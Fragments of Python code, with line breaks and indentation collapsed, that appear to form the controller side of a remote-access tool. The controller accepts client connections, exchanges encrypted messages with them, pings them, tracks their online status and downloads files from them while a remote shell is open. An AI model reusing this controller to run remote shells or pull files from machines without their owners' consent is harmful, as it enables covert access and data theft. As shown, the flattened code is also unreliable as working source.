def run(self): while True: if self.parent.command == "closeWindow": # Receive the information to break the loop and to close the thread. self.parent.readstate = False # Indicate to the ClientThread that the loop in the readThread is ended. break elif self.parent.wait: ################# # FILE DOWNLOAD # ################# if self.download: try: fic_to_write = open(self.parent.filenamew, 'wb') data_crypted = tools.recv_timeout(self.sockett, 2) # Receive the encrypted file bytes. if data_crypted: data_decrypted = de_crypt.decrypt_packet(data_crypted) # Decrypt the message. if data_decrypted != "[*] The file has been downloaded.\n": fic_to_write.write(data_decrypted) fic_to_write.flush() fic_to_write.close() self.res = self.data self.data = list() self.download = False except: pass else: ################# # NORMAL STRING # ################# try: res_crypted = tools.recv_timeout(self.sockett, 2) # Receive the client information. if res_crypted: # To avoid trouble with the ping request. tmp = de_crypt.decrypt_packet(res_crypted) # Decrypt the message. if tmp == "/---/Downloading/---/": self.download = True elif tmp != "/---/Yes sir/---/": # If the message is not the ping we set res. self.res = tmp if self.parent.client.status != "ONLINE": # Verify the status and set it because the ping self.parent.client.status = "ONLINE" # is disabled when the shell is open. elif not res_crypted: self.res = "[*] - The client is offline. Try again later !" # If the socket isn't bind. if self.parent.client.status != "OFFLINE": # Verify the status and set it because the ping self.parent.client.status = "OFFLINE" # is disabled when the shell is open. except: pass # Used to go through the exception that is raised when we want to stop the thread. time.sleep(1)
def verify_connec(client): # Verify the status before sending the delete message to prevent from errors. try: client.sockett.send(de_crypt.encrypt_packet("/---/Alive ?/---/")) # Verify the client socket state. rep = de_crypt.decrypt_packet(recv_timeout(client.sockett, 1)) # Get the answer (or not). if rep == "/---/Yes sir/---/" and client.status != "ONLINE": client.status = "ONLINE" elif not rep and client.status != "OFFLINE": # IF no answer then "OFFLINE". client.status = "OFFLINE" except: if client.status != "OFFLINE": client.status = "OFFLINE" pass
def run(self): while server_status: try: (connection, (self.ip, self.port)) = self.sock.accept() # Accept the remote connections. self.accepted = True except: pass if self.accepted: res_crypted = connection.recv(1024) # Receive the first message which is the system. res = de_crypt.decrypt_packet(res_crypted) answer = res.split(":=:") client = Client(self.ip, self.port, "ONLINE", connection, answer[1]) # Create a client clientlist.append(client) # Add the client to the client's list. self.accepted = False